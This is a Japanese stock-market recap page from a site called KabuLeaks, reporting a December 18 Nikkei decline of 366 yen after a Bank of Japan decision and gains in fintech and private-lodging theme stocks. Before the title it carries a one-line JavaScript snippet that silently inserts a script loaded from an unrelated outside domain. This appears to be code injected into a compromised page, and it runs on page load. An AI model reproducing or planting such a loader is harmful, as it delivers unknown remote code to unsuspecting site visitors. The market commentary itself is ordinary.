;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【12/18 大引け】 |【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【12/18 大引け】

本日の日経平均株価は366円安と3日ぶり反落となったが後場は乱高下激しい展開。日銀が量的・質的金融緩和策の補完措置を決定したことを受け、円安が加速したほか、株価指数先物に大口買いが流入し、一時は1万9869円(前日比515円高)まで上昇したものの、その後は急速に上げ幅を縮め再びマイナス転換。大引け直前には本日安値を付け節目の1万9000円を割れて大引けを迎えた。業種別では、全33業種全てが下落し、石油石炭製品、保険業、パルプ・紙、証券商品先物などが値下がり上位となった。

個別では、前日引け後にbitFlyerとビットコインへのポイント交換に関する業務提携を行うことになったと発表した【3691】リアルワールドが新たなフィンテック関連としてもてはやされストップ高に。同じく新たなフィンテック関連として名前が挙がった【6180】GMOメディアが大幅上昇、【3753】フライトホールディングスは一時ストップ高の急伸。民泊関連。民泊プロジェクトの【8909】シノケングループは後場一段高となった。その他、GS証券が買い推奨目標株価を17,500円として新規カバレッジ開始の【8876】リロホールディンス、自社株買いを発表した【6676】メルコホールディングスなどの上昇が目立った。

引け後の黒田日銀総裁会見終了後の先物動向は19,000円を挟んでもみ合い。来週はこれといった材料なく、現状では原油や米市場などの動き次第といったところで先がやや読みにくい展開になりそう。物色面では、材料系中小型株、フィンテック関連、民泊関連など人気は高く物色意欲は旺盛。来週もこれらテーマ株を中心に盛り上がりはみせそうだ。